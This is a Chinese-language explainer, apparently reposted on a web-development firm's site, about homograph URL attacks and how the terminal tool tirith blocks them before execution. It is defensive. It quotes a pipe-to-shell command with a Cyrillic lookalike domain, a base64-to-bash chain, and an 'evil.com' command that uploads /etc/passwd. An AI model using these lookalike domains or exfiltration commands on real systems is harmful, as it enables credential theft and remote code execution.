ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

为什么你的终端会被假域名欺骗?深入解析同形异义URL攻击与tirith防御原理

为什么你的终端会被假域名欺骗?深入解析同形异义URL攻击与tirith防御原理 为什么你的终端会被假域名欺骗深入解析同形异义URL攻击与tirith防御原理【免费下载链接】tirithTerminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.项目地址: https://gitcode.com/gh_mirrors/tir/tirith在终端里粘贴一条安装命令看似安全的域名其实藏着西里尔字母——同形异义URL攻击Homograph Attack正是利用人眼和终端无法区分的 Unicode 字符把流量骗到你的对手服务器。开源终端安全工具tirith站在命令执行前的门口在执行前拦截同形异义域名、pipe-to-shell、ANSI 注入、混淆载荷与数据外泄帮助新手和开发者快速建立终端安全防线。一个你肉眼看不出来的骗局先看两条几乎一模一样的命令curl -sSL https://install.example-cli.dev | bash # 安全的 curl -sSL https://іnstall.example-clі.dev | bash # 已被篡改区别在哪里第二行域名里的两个і不是拉丁字母i而是西里尔字母 іU0456。你的终端照常渲染它DNS 却把它解析到攻击者控制的服务器——脚本在你察觉之前就已经执行完了。这就是同形异义攻击的核心视觉上完全相同字节上完全不同。 浏览器多年前就解决了这个问题地址栏会转成 Punycode 或发出警告但终端至今还在无条件信任Unicode 渲染。同形异义URL攻击为什么终端会中招1. 终端对 Unicode 无条件信任终端渲染器会原样显示任何 Unicode 字符西里尔字母、希腊字母、全角字符、零宽字符、双向控制符……它不像浏览器那样对主机名做规范化检查。攻击者只要用长得一样的字符替换域名中的字母肉眼几乎无法分辨。tirith 项目自带的混淆字符表 data/confusables.txt 就列举了这些李鬼0456 0069 # і - i 0430 0061 # а - a 043E 006F # о - o每一行表示左边这个 Unicode 码点西里尔字母在屏幕上长得像右边的拉丁字母。2. 变体Punycode 与混合脚本域名同形异义不止一种写法攻击手法例子特点直接混入西里尔/希腊字母іnstall.example-clі.dev肉眼不可分辨Punycode 编码域名xn--...开头的标签合法编码伪装真实域名单标签内混合多套文字脚本拉丁 西里尔混排每个字符都合法3. 谁会被骗不只是你tirith 的威胁模型docs/threat-model.md列出了典型攻击者恶意网站运营者在教程页面里埋藏带隐藏载荷的复制粘贴命令、Typosquatter抢注近似域名、供应链攻击者以及社会工程师。更糟的是AI 编码代理会自动执行 shell 命令和安装包往往根本不看 URL 里是什么。终端 AI Agent让这类攻击的触发成本更低了。tirith 防御原理在执行前把门守住tirith 的思路是浏览器替你做了的规范化检查终端里由它来补上。它作为 shell 钩子hook拦截每条即将执行的命令做纯结构的静态分析不需要联网、不碰 payload 内容。字符级扫描逐字节审计主机名核心逻辑在 crates/tirith-core/src/homoglyph.rs遍历主机名中的每个字符凡是非 ASCII 字符都会被记录偏移位置、Unicode 码点、所属文字脚本、十六进制字节为常见字符生成人类可读的描述例如Cyrillic і (looks like Latin i)西里尔字母 і长得像拉丁 i同时把域名转换为 ASCII/Punycode 等价形式UTS-46 主机名解析方便对比它看起来是什么和它实际是什么。多规则组合拳不止查一个点主机名规则集实现在 crates/tirith-core/src/rules/hostname.rs一次检查覆盖多个维度规则触发条件严重级别non_ascii_hostname主机名含非 ASCII 字节Highmixed_script_in_label同一标签内混用多套文字脚本Highpunycode_domain域名标签以xn--开头Highconfusable_domain与知名域名构成混淆对视策略lookalike_tld相似后缀如.devvs.se视策略raw_ip_url直接使用裸 IP视策略配套数据文件 data/confusables.txt约 97 行涵盖西里尔→拉丁、希腊→拉丁、全角字符等映射支撑混淆检测基于 Unicode TR39 混淆字符标准。实际拦截效果一条同形异义 URL 命令被拦截时你会看到类似这样的输出$ curl -sSL https://іnstall.example-clі.dev | bash tirith: BLOCKED [CRITICAL] non_ascii_hostname, Cyrillic і (U0456) in hostname This is a homograph attack. The URL visually mimics a legitimate domain but resolves to a completely different server.命令根本没有执行。而干净的命令git status、ls -la完全静默几乎感觉不到 tirith 的存在。同形异义只是第一道门tirith 全项目共有244 条检测规则、35 个类别同形异义攻击防御只是其一。围绕终端安全这个主题它还能Pipe-to-shellcurl | bash、wget | sh及其各种包装/解码变体终端注入ANSI 转义序列、双向覆盖符、零宽字符粘贴内容扫描Base64 解码执行链base64 -d | bash、-EncodedCommand数据外泄curl -d /etc/passwd https://evil.com这类敏感文件上传恶意 AI 技能/配置文件扫描tirith scan目标文件中的混淆载荷与凭据外传模式。快速上手三步启用终端防护第一步安装以 Homebrew 为例brew install tirith也支持 npm、cargo、mise、apt/dnf 等渠道详见 README.md。第二步在当前 shell 激活钩子# zsh eval $(tirith init --shell zsh) # bash eval $(tirith init --shell bash)eval $(tirith init)不带参数时会自动检测当前 shell。第三步验证状态tirith doctor安装和升级后运行一次tirith doctor可以确认钩子处于健康状态。需要放行某条命令时临时加前缀TIRITH0只对那一条命令生效。⚠️ 注意tirith 是执行前检测层不是运行时沙箱它防的是被骗的输入而不是已经拿到 root 的攻击者。完整的能力边界见 docs/threat-model.md 和 docs/enforcement-coverage.md。小结给终端补上浏览器的地址栏检查同形异义URL攻击利用Unicode 同形字符骗过人眼和终端浏览器早已设防终端却长期裸奔tirith 通过逐字符脚本分析 混淆字符表 多规则组合在执行前识别і与i这类致命差异一条brew install tirithtirith init即可为你的终端以及替你执行命令的 AI Agent加上一道 244 条规则的静态安全闸门。延伸阅读仓库内文档项目总览与演示README.md威胁模型与检测向量总表docs/threat-model.md能力矩阵tirith paste等同形异义扫描入口docs/capability-matrix.md测试语料同形异义相关用例tests/fixtures/hostname.toml【免费下载链接】tirithTerminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.项目地址: https://gitcode.com/gh_mirrors/tir/tirith创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表